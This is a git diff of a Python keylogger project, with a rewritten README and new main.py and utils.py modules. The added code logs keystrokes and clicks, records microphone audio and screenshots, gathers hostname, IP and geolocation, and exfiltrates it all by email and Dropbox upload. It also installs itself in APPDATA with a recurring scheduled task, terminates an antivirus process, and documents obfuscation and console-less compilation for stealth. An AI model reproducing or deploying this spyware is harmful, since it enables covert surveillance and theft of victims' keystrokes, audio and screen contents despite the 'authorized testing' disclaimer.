diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
deleted file mode 100644
index 7b42b92..0000000
--- a/.github/FUNDING.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-# These are supported funding model platforms
-
-github:
-patreon: user?u=32592056
-open_collective: # Replace with a single Open Collective username
-ko_fi: # Replace with a single Ko-fi username
-tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
-community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
-liberapay: # Replace with a single Liberapay username
-issuehunt: # Replace with a single IssueHunt username
-otechie: # Replace with a single Otechie username
-custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..9ff8e49
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,9 @@
+__pycache__
+*.env
+*.png
+*.spec
+*.wav
+build
+dist
+steps.txt
+test.py
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
index 261eeb9..34374a5 100644
--- a/LICENSE
+++ b/LICENSE
@@ -186,7 +186,7 @@
same "printed page" as the copyright notice for easier
identification within third-party archives.
- Copyright [yyyy] [name of copyright owner]
+ Copyright [Filippo Piconese]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
diff --git a/README.md b/README.md
index 644a6fc..9896a00 100644
--- a/README.md
+++ b/README.md
@@ -1,52 +1,97 @@
-# Inputs To Mail.
-Get Keyboard,Mouse,ScreenShot,Microphone Inputs and Send to your Mail.
-Purpose of the project is testing the security of information systems
-
-## INSTALLATION
-
-**You don't need to do anything for installation just run the script**
-
-![github-small](/images/Adsız.png)
-
-## USAGE
-
-•**Create an account on "https://mailtrap.io/" using a temp mail.**
-
-![github-small](https://github.com/aydinnyunus/WifiPassword-Stealer/blob/master/images/dene.png?raw=true)
-
-
-•**Set your own SMTP USERNAME and SMTP PASSWORD on "keylogger.py".**
-
-•**pip install -r requirements.txt**
-
-•**python3 keylogger.py**
-
-•**Every 10 seconds,You Get the Data from the Target Computer**
-
-•**If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.**
-
-
-## ANTIVIRUS TEST
-
-![github-small](/images/1.png)
-
-![github-small](/images/2.png)
-
-However, if you've made some money using my tools or just want to encourage me to continue creating stuff, please consider giving back on
-**BTC Wallet : 1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF** my efforts and help it grow by buying me coffee - but only if you're definitely able to! 😊🎉
-
----
-
-### Contact Me !
-
-[](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/) [](https://github.com/aydinnyunus/WhatsappBOT) [](https://instagram.com/aydinyunus_/) [](https://twitter.com/aydinnyunuss)
-
-
-## Another Projects :
-
-•**WHATSAPP BOT** : https://github.com/aydinnyunus/WhatsappBOT
-
-•**MACHINE LEARNING** : https://github.com/aydinnyunus/Machine-Learning
-
-•**FACE RECOGNITION SECURITY** : https://github.com/aydinnyunus/FaceRecognitionSecurity
-
+# KeyLogger - Monitoring and Reporting Program
+
+## Program Description
+This program is a KeyLogger designed to collect input data from the keyboard and mouse, capture screenshots and audio from the microphone, and send these reports via email and Dropbox integration. **Use this tool exclusively for testing purposes and in authorized environments**.
+
+## Features
+The program performs the following tasks:
+- Collects system data (hostname, IP address, processor, OS, machine architecture).
+- Detects geographic location.
+- Monitors keyboard strokes and mouse clicks.
+- Captures screenshots and audio at regular intervals.
+- Sends collected data via email and Dropbox.
+- Automatically deletes temporary files to preserve data privacy.
+
+## Prerequisites
+Python 3 and the following packages are required:
+- `dotenv`
+- `dropbox`
+- `geocoder`
+- `mss`
+- `numpy`
+- `poolmanager`
+- `psutil`
+- `pyinstaller`
+- `pynput`
+- `requests`
+- `sounddevice`
+
+### Dependency Installation
+To install all required packages, run:
+```bash
+pip install -r requirements.txt
+```
+
+## Configuration
+1. **Email Configuration**: Define the SMTP server details in a .env file to enable log reporting via email.
+2. **Dropbox Integration**: Create a Dropbox API token and add it to the .env file to enable Dropbox integration.
+3. **Environment Variables**:
+ * Set up a .env file with the following variables:
+ ```plaintext
+ SMTP_SERVER=
+ SMTP_PORT=
+ EMAIL_ADDRESS=
+ EMAIL_PASSWORD=
+ EMAIL_SENDER=
+ EMAIL_RECEIVER=
+ EMAIL_CC=
+ DROPBOX_TOKEN=
+ ```
+4. **Report Interval**: Define the time interval (SEND_REPORT_EVERY) in seconds for reporting frequency.
+5. **Magic Word**: Set the MAGIC_WORD variable to define the word that stops the KeyLogger when typed.
+
+## Program Structure
+
+### KeyLogger Class
+* **System Information**: Collects data on hostname, IP address, processor, OS, and machine architecture.
+* **Geolocation**: Detects the geographic location of the system.
+* **Keyboard Monitoring**: Tracks keyboard input.
+* **Mouse Monitoring**: Monitors clicks, capturing screenshots for each click (but omits movements and scrolls to limit log volume).
+* **Audio Recording**: Records audio from the microphone at each interval.
+* **Screenshot Capture**: Takes screenshots on each mouse click.
+* **Report Generation**: Sends email reports with logged data and uploads images and audio files to Dropbox.
+* **Cleanup**: Clears temporary data to ensure efficient resource usage.
+
+## Execution
+1. Create an instance of the KeyLogger
class, initializing it with the required variables.
+2. Call the run
method to start the KeyLogger.
+3. The program automatically deletes the .env
file at runtime to secure sensitive information.
+4. Typing the magic word (if defined) stops the KeyLogger.
+
+## Single EXE File Version
+To run this code on a machine without Python installed, you can compile it into a standalone executable using pyinstaller
. The command below is included in the requirements file:
+```bash
+pyinstaller --onefile --add-data ".env;." main.py
+```
+
+## Commands to obfuscate and compile the program
+To obfuscate and compile the program, run the following commands:
+1. Install required packages:
+ ```bash
+ pip install -r requirements.txt
+ ```
+2. Obfuscate code files using pyarmor
:
+ ```bash
+ pyarmor gen -O obfuscated_dist main.py
+ pyarmor gen -O obfuscated_dist keylogger.py
+ pyarmor gen -O obfuscated_dist utils.py
+ ```
+3. Generate an executable:
+ ```bash
+ pyinstaller --onefile --noconsole --add-data "obfuscated_dist\pyarmor_runtime_000000\pyarmor_runtime.pyd;." --hidden-import socket --hidden-import psutil --hidden-import requests --hidden-import subprocess --hidden-import dropbox --hidden-import geocoder --hidden-import mss --hidden-import os --hidden-import platform --hidden-import sounddevice --hidden-import ssl --hidden-import time --hidden-import wave --hidden-import pynput --hidden-import requests.adapters.HTTPAdapter --hidden-import shutil --hidden-import smtplib --hidden-import email.mime.multipart --hidden-import email.mime.text --hidden-import email.mime.base --hidden-import email.encoders --hidden-import keylogger --hidden-import utils --hidden-import utils.send_mail_with_attachment --hidden-import utils.get_wav_and_png_files --hidden-import utils.delete_wav_and_png_files --hidden-import utils.upload_to_dropbox --hidden-import utils.save_program_in_location --hidden-import utils.create_scheduled_task --hidden-import utils.is_process_running --hidden-import utils.stop_process --hidden-import string obfuscated_dist\main.py
+ ```
+4. Copy the main.exe
file from the dist
folder.
+
+## Future Development
+* Develop a USB-triggered version that runs when plugged into a PC.
+* Implement Dropbox token renewal as the current token expires after four hours.
diff --git a/images/.gitattribute b/images/.gitattribute
deleted file mode 100644
index 8b13789..0000000
--- a/images/.gitattribute
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/images/1.png b/images/1.png
deleted file mode 100644
index acdee4b..0000000
Binary files a/images/1.png and /dev/null differ
diff --git a/images/2.png b/images/2.png
deleted file mode 100644
index d3e2ec0..0000000
Binary files a/images/2.png and /dev/null differ
diff --git "a/images/Ads\304\261z.png" "b/images/Ads\304\261z.png"
deleted file mode 100644
index a077853..0000000
Binary files "a/images/Ads\304\261z.png" and /dev/null differ
diff --git a/keylogger.py b/keylogger.py
index 584a456..c20e732 100644
--- a/keylogger.py
+++ b/keylogger.py
@@ -1,145 +1,250 @@
-try:
- import logging
- import os
- import platform
- import smtplib
- import socket
- import threading
- import wave
- import pyscreenshot
- import sounddevice as sd
- from pynput import keyboard
- from pynput.keyboard import Listener
- from email import encoders
- from email.mime.base import MIMEBase
- from email.mime.multipart import MIMEMultipart
- from email.mime.text import MIMEText
- import glob
-except ModuleNotFoundError:
- from subprocess import call
- modules = ["pyscreenshot","sounddevice","pynput"]
- call("pip install " + ' '.join(modules), shell=True)
-
-
-finally:
- EMAIL_ADDRESS = "YOUR_USERNAME"
- EMAIL_PASSWORD = "YOUR_PASSWORD"
- SEND_REPORT_EVERY = 60 # as in seconds
- class KeyLogger:
- def __init__(self, time_interval, email, password):
- self.interval = time_interval
- self.log = "KeyLogger Started..."
- self.email = email
- self.password = password
-
- def appendlog(self, string):
+import dropbox
+import geocoder
+import mss
+import os
+import platform
+import socket
+import sounddevice as sd
+import ssl
+import time
+import wave
+
+from pynput import keyboard, mouse
+from requests.adapters import HTTPAdapter
+from utils import (
+ send_mail_with_attachment,
+ get_wav_and_png_files,
+ delete_wav_and_png_files,
+ # remove_env_file,
+ upload_to_dropbox,
+ save_program_in_location,
+ create_scheduled_task,
+)
+
+
+class SSLAdapter(HTTPAdapter):
+ # Avoid SSL certificate verification
+ def init_poolmanager(self, *args, **kwargs):
+ context = ssl.create_default_context()
+ context.check_hostname = False
+ context.verify_mode = ssl.CERT_NONE
+ kwargs["ssl_context"] = context
+ return super(SSLAdapter, self).init_poolmanager(*args, **kwargs)
+
+
+class KeyLogger:
+ def __init__(
+ self,
+ time_interval,
+ smtp_server,
+ smtp_port,
+ email_address,
+ email_password,
+ email_sender,
+ email_receiver,
+ cc,
+ magic_word,
+ dropbox_token,
+ src_file,
+ dest_folder,
+ scheduled_task_name,
+ ):
+ self.interval = time_interval
+ self.smtp_server = smtp_server
+ self.smtp_port = smtp_port
+ self.email_address = email_address
+ self.email_password = email_password
+ self.email_sender = email_sender
+ self.email_receiver = email_receiver
+ self.cc = cc
+ self.magic_word = magic_word
+ self.dropbox_token = dropbox_token
+ self.src_file = src_file
+ self.dest_folder = dest_folder
+ self.scheduled_task_name = scheduled_task_name
+
+ self.log = "KeyLogger Started...\n"
+ self.keyboard_listener = None
+ self.mouse_listener = None
+ self.word = ""
+
+ def appendlog(self, string):
+ if string:
self.log = self.log + string
- def on_move(self, x, y):
- current_move = logging.info("Mouse moved to {} {}".format(x, y))
- self.appendlog(current_move)
+ def on_move(self, x, y):
+ # current_move = f"\nMouse moved to {x} {y}"
+ # self.appendlog(current_move)
+ pass # do nothing
- def on_click(self, x, y):
- current_click = logging.info("Mouse moved to {} {}".format(x, y))
+ def on_scroll(self, x, y, dx, dy):
+ # current_scroll = f"\nMouse scrolled at {x} {y} with scroll distance {dx} {dy}"
+ # self.appendlog(current_scroll)
+ pass # do nothing
+
+ def on_click(self, x, y, button, pressed):
+ if pressed:
+ current_click = f"\nMouse click at {x} {y} with button {button}"
+ self.screenshot()
self.appendlog(current_click)
- def on_scroll(self, x, y):
- current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
- self.appendlog(current_scroll)
+ def save_data(self, key):
+ current_key = ""
- def save_data(self, key):
+ try:
+ current_key = str(key.char)
+ except AttributeError:
+ if key == key.space:
+ current_key = "SPACE"
+ elif key == key.esc:
+ current_key = "ESC"
+ else:
+ current_key = f" {str(key)} "
+
+ self.word = self.word + current_key
+ self.appendlog(f"\nPressed key: {current_key}")
+
+ def send_mail(self, message):
+ send_mail_with_attachment(
+ smtp_server=self.smtp_server,
+ smtp_port=self.smtp_port,
+ email_address=self.email_address,
+ email_password=self.email_password,
+ email_sender=self.email_sender,
+ email_receiver=self.email_receiver,
+ cc=self.cc,
+ path_to_attachment="",
+ attachments=[],
+ subject="KeyLogger - by F3000",
+ body=message,
+ )
+
+ def report(self):
+ self.send_mail(f"{self.log}")
+ wav_and_png_files = get_wav_and_png_files(self.dest_folder)
+
+ try:
+ dbx = dropbox.Dropbox(self.dropbox_token)
+ session = dbx._session
+ session.mount("https://", SSLAdapter())
+ except (dropbox.exceptions.ApiError, FileNotFoundError, Exception) as e:
+ print(f"Error: {e}")
+ return
+
+ upload_to_dropbox(
+ socket.gethostname(), dbx, wav_and_png_files, self.dest_folder
+ )
+
+ delete_wav_and_png_files(self.dest_folder)
+
+ print(self.log)
+
+ def cleanup(self):
+ self.log = ""
+
+ if (
+ hasattr(self, "keyboard_listener")
+ and self.keyboard_listener
+ and self.keyboard_listener.running
+ ):
+ self.keyboard_listener.stop()
+
+ if (
+ hasattr(self, "mouse_listener")
+ and self.mouse_listener
+ and self.mouse_listener.running
+ ):
+ self.mouse_listener.stop()
+
+ self.word = ""
+
+ def system_information(self):
+ hostname = socket.gethostname()
+ ip = socket.gethostbyname(hostname)
+ processor = platform.processor()
+ system = platform.system()
+ machine = platform.machine()
+ self.appendlog("System info:")
+ self.appendlog(f"\nHostname = {hostname}")
+ self.appendlog(f"\nIP = {ip}")
+ self.appendlog(f"\nProcessor = {processor}")
+ self.appendlog(f"\nSystem OS = {system}")
+ self.appendlog(f"\nMachine architecture = {machine}")
+ self.appendlog("\n\n\n")
+
+ def get_location(self):
+ location = geocoder.ip("me")
+
+ self.appendlog("\nLocation info:")
+
+ if location.ok:
+ latitude, longitude = location.latlng
+ city = location.city
+ state = location.state
+ country = location.country
+
+ self.appendlog(f"\nGeo position = {latitude} {longitude}")
+ self.appendlog(f"\nCity = {city}")
+ self.appendlog(f"\nState = {state}")
+ self.appendlog(f"\nCountry = {country}")
+ else:
+ self.appendlog("\nLocation not determined.")
+
+ def microphone(self):
+ fs = 44100
+ channels = 1 # mono
+ seconds = self.interval
+ filename = os.path.join(self.dest_folder, f"sound_{time.time()}.wav")
+ obj = wave.open(filename, "w")
+ obj.setnchannels(channels) # mono
+ obj.setsampwidth(2) # Sampling of 16 bit
+ obj.setframerate(fs)
+ myrecording = sd.rec(
+ int(seconds * fs), samplerate=fs, channels=channels, dtype="int16"
+ )
+ sd.wait()
+ obj.writeframesraw(myrecording)
+ obj.close()
+ self.appendlog("\nmicrophone used.")
+
+ def screenshot(self):
+ if os.path.exists(self.dest_folder) and os.path.isdir(self.dest_folder):
try:
- current_key = str(key.char)
- except AttributeError:
- if key == key.space:
- current_key = "SPACE"
- elif key == key.esc:
- current_key = "ESC"
- else:
- current_key = " " + str(key) + " "
-
- self.appendlog(current_key)
-
- def send_mail(self, email, password, message):
- sender = "Private Person "
- receiver = "A Test User "
-
- m = f"""\
- Subject: main Mailtrap
- To: {receiver}
- From: {sender}
-
- Keylogger by aydinnyunus\n"""
-
- m += message
- with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:
- server.login(email, password)
- server.sendmail(sender, receiver, message)
-
- def report(self):
- self.send_mail(self.email, self.password, "\n\n" + self.log)
- self.log = ""
- timer = threading.Timer(self.interval, self.report)
- timer.start()
-
- def system_information(self):
- hostname = socket.gethostname()
- ip = socket.gethostbyname(hostname)
- plat = platform.processor()
- system = platform.system()
- machine = platform.machine()
- self.appendlog(hostname)
- self.appendlog(ip)
- self.appendlog(plat)
- self.appendlog(system)
- self.appendlog(machine)
-
- def microphone(self):
- fs = 44100
- seconds = SEND_REPORT_EVERY
- obj = wave.open('sound.wav', 'w')
- obj.setnchannels(1) # mono
- obj.setsampwidth(2)
- obj.setframerate(fs)
- myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
- obj.writeframesraw(myrecording)
- sd.wait()
-
- self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj)
-
- def screenshot(self):
- img = pyscreenshot.grab()
- self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img)
-
- def run(self):
- keyboard_listener = keyboard.Listener(on_press=self.save_data)
- with keyboard_listener:
- self.report()
- keyboard_listener.join()
- with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
- mouse_listener.join()
- if os.name == "nt":
- try:
- pwd = os.path.abspath(os.getcwd())
- os.system("cd " + pwd)
- os.system("TASKKILL /F /IM " + os.path.basename(__file__))
- print('File was closed.')
- os.system("DEL " + os.path.basename(__file__))
- except OSError:
- print('File is close.')
+ filename = os.path.join(
+ self.dest_folder, f"screenshot_{time.time()}.png"
+ )
+ with mss.mss() as sct:
+ sct.shot(output=filename)
+ self.appendlog("\nscreenshot used.")
+ except Exception as e:
+ self.appendlog(f"\nError taking screenshot: {e}")
- else:
- try:
- pwd = os.path.abspath(os.getcwd())
- os.system("cd " + pwd)
- os.system('pkill leafpad')
- os.system("chattr -i " + os.path.basename(__file__))
- print('File was closed.')
- os.system("rm -rf" + os.path.basename(__file__))
- except OSError:
- print('File is close.')
+ def run(self):
+ # remove_env_file()
+ executable_path = save_program_in_location(self.src_file, self.dest_folder)
+ create_scheduled_task(executable_path, self.scheduled_task_name)
+
+ self.system_information()
+ self.get_location()
+
+ while True:
+ self.keyboard_listener = keyboard.Listener(on_press=self.save_data)
+ self.keyboard_listener.start()
+
+ self.mouse_listener = mouse.Listener(
+ on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll
+ )
+ self.mouse_listener.start()
+
+ self.screenshot()
+ self.microphone()
+
+ time.sleep(self.interval)
- keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
- keylogger.run()
+ self.report()
+ if self.magic_word != "" and self.magic_word in self.word:
+ break
+ self.cleanup() # this cleanup is used until the while loop works
+ self.cleanup() # this cleanup is used when the while loop stops
diff --git a/main.py b/main.py
new file mode 100644
index 0000000..773f86f
--- /dev/null
+++ b/main.py
@@ -0,0 +1,57 @@
+import os
+
+from dotenv import load_dotenv
+from keylogger import KeyLogger
+from utils import is_process_running, stop_process
+
+load_dotenv()
+
+SMTP_SERVER = os.getenv("SMTP_SERVER")
+SMTP_PORT = os.getenv("SMTP_PORT")
+EMAIL_ADDRESS = os.getenv("EMAIL_ADDRESS")
+EMAIL_PASSWORD = os.getenv("EMAIL_PASSWORD")
+EMAIL_SENDER = os.getenv("EMAIL_SENDER")
+EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER")
+EMAIL_CC = os.getenv("EMAIL_CC")
+DROPBOX_TOKEN = os.getenv("DROPBOX_TOKEN")
+
+SEND_REPORT_EVERY = 60 # seconds
+MAGIC_WORD = "stop"
+
+EXE_FILENAME = "main.exe"
+SRC_FILE = f"D:\{EXE_FILENAME}"
+DEST_FOLDER = os.path.join(os.getenv("APPDATA"), "KEYLOGGER")
+SCHEDULED_TASK_NAME = "TASK_NAME"
+ANTIVIRUS_PROCESS = "antivirus.exe"
+
+
+def main():
+ running_instances = is_process_running(EXE_FILENAME)
+ print(f"Number of '{EXE_FILENAME}' ongoing processes: {running_instances}")
+
+ if running_instances >= 4:
+ print("Too many ongoing processes. Exiting.")
+ return
+
+ stop_process(ANTIVIRUS_PROCESS)
+
+ keylogger = KeyLogger(
+ time_interval=SEND_REPORT_EVERY,
+ smtp_server=SMTP_SERVER,
+ smtp_port=SMTP_PORT,
+ email_address=EMAIL_ADDRESS,
+ email_password=EMAIL_PASSWORD,
+ email_sender=EMAIL_SENDER,
+ email_receiver=EMAIL_RECEIVER,
+ cc=EMAIL_CC,
+ magic_word=MAGIC_WORD,
+ dropbox_token=DROPBOX_TOKEN,
+ src_file=SRC_FILE,
+ dest_folder=DEST_FOLDER,
+ scheduled_task_name=SCHEDULED_TASK_NAME,
+ )
+ keylogger.run()
+
+
+if __name__ == "__main__":
+ main()
diff --git a/requirements.txt b/requirements.txt
index c50cda2..e7da6a7 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,4 +1,11 @@
-pynput==1.7.3
-pyscreenshot==0.5.1
-sounddevice==0.4.3
-Pillow==9.3.0
+dotenv
+dropbox
+geocoder
+mss
+numpy
+poolmanager
+psutil
+pyinstaller
+pynput
+requests
+sounddevice
\ No newline at end of file
diff --git a/utils.py b/utils.py
new file mode 100644
index 0000000..920fc83
--- /dev/null
+++ b/utils.py
@@ -0,0 +1,168 @@
+import dropbox
+import os
+import psutil
+import shutil
+import smtplib
+import subprocess
+
+from email import encoders
+from email.mime.base import MIMEBase
+from email.mime.multipart import MIMEMultipart
+from email.mime.text import MIMEText
+
+def send_mail_with_attachment(
+ smtp_server,
+ smtp_port,
+ email_address,
+ email_password,
+ email_sender,
+ email_receiver,
+ cc="",
+ path_to_attachment="",
+ attachments=[],
+ subject="",
+ body="",
+):
+ message = MIMEMultipart()
+ message["From"] = email_sender
+ message["To"] = email_receiver
+ message["Cc"] = cc
+ message["Subject"] = subject
+
+ message.attach(MIMEText(body, "plain"))
+
+ for attachment in attachments: # [filename_1, filename_2]
+ # Open the file as binary mode
+ attach_file = open("{0}/{1}".format(path_to_attachment, attachment), "rb")
+ payload = MIMEBase("application", "octate-stream")
+ payload.set_payload((attach_file).read())
+ encoders.encode_base64(payload) # encode the attachment
+
+ # Add payload header with filename
+ payload.add_header("Content-Disposition", f"attachment; filename={attachment}")
+ message.attach(payload)
+
+ try:
+ session = smtplib.SMTP(smtp_server, smtp_port)
+ # session.starttls() # Enable security
+ session.login(email_address, email_password)
+ text = message.as_string()
+ session.sendmail(email_sender, email_receiver, text)
+ session.quit()
+ except Exception as e:
+ print(f"Error sending email: {e}")
+ return False
+ return True
+
+
+def get_wav_and_png_files(dest_folder):
+ wav_and_png_files = []
+ if os.path.exists(dest_folder) and os.path.isdir(dest_folder):
+ for filename in os.listdir(dest_folder):
+ if (
+ filename.endswith(".wav")
+ or filename.endswith(".png")
+ or filename.endswith(".txt")
+ or filename.endswith(".LockBit")
+ ):
+ wav_and_png_files.append(filename)
+
+ return wav_and_png_files
+
+
+def delete_wav_and_png_files(dest_folder):
+ if os.path.exists(dest_folder) and os.path.isdir(dest_folder):
+ for filename in os.listdir(dest_folder):
+ if (
+ filename.endswith(".wav")
+ or filename.endswith(".png")
+ or filename.endswith(".txt")
+ or filename.endswith(".LockBit")
+ ):
+ file_path = os.path.join(dest_folder, filename)
+ os.remove(file_path)
+
+
+def remove_env_file():
+ if os.name == "nt": # Windows
+ env_file = os.path.join(os.getcwd(), ".env")
+ if os.path.exists(env_file):
+ os.remove(env_file)
+ else: # Linux or Unix
+ env_file = os.path.join(os.getcwd(), ".env")
+ if os.path.exists(env_file):
+ os.remove(env_file)
+
+
+def upload_to_dropbox(hostname, dbx, wav_and_png_files, dest_folder):
+ for file_name in wav_and_png_files:
+ file_path = os.path.join(dest_folder, file_name)
+ destination_path = f"/{hostname}_{file_name}"
+
+ try:
+ with open(file_path, "rb") as f:
+ dbx.files_upload(f.read(), destination_path)
+ except (dropbox.exceptions.ApiError, FileNotFoundError, Exception) as e:
+ print(f"Error: {e}")
+ return
+
+
+def create_scheduled_task(executable_path, task_name):
+ check_task_command = f'if (Get-ScheduledTask -TaskName "{task_name}" -ErrorAction SilentlyContinue) {{ exit 1 }} else {{ exit 0 }}'
+
+ task_exists = subprocess.run(
+ ["powershell", "-Command", check_task_command], capture_output=True, text=True
+ )
+
+ if task_exists.returncode == 1:
+ return
+ else:
+ create_task_command = f"""
+ $action = New-ScheduledTaskAction -Execute '{executable_path}'
+ $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 5) -RepetitionDuration (New-TimeSpan -Days 365)
+ Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "{task_name}" -Description "Esegue il processo custom ogni 5 minuti"
+ """
+ subprocess.run(["powershell", "-Command", create_task_command], check=True)
+
+
+def save_program_in_location(src_file, dest_folder):
+ if not os.path.exists(dest_folder):
+ os.makedirs(dest_folder)
+
+ dest_file = os.path.join(dest_folder, os.path.basename(src_file))
+
+ try:
+ if not os.path.exists(dest_file):
+ shutil.copy(src_file, dest_file)
+ else:
+ print(f"File {dest_file} already exists.")
+ except Exception as e:
+ print(f"Error copying file {src_file} to folder {dest_file}: {e}")
+
+ return dest_file
+
+
+def is_process_running(process_name):
+ count = 0
+ for proc in psutil.process_iter(attrs=["pid", "name"]):
+ if proc.info["name"] == process_name:
+ count += 1
+ return count
+
+
+def stop_process(process_name):
+ for process in psutil.process_iter(["pid", "name"]):
+ if process.info["name"].lower() == process_name.lower():
+ try:
+ print(
+ f'Terminating process: {process.info["name"]} (PID: {process.info["pid"]})'
+ )
+ process.terminate()
+ process.wait(timeout=5)
+ print(f'Process {process.info["name"]} terminated.')
+ return
+ except Exception as e:
+ print(
+ f'Process cannot be terminated: {process.info["name"]} (PID: {process.info["pid"]}): {str(e)}'
+ )
+ print(f"Process {process_name} not found.")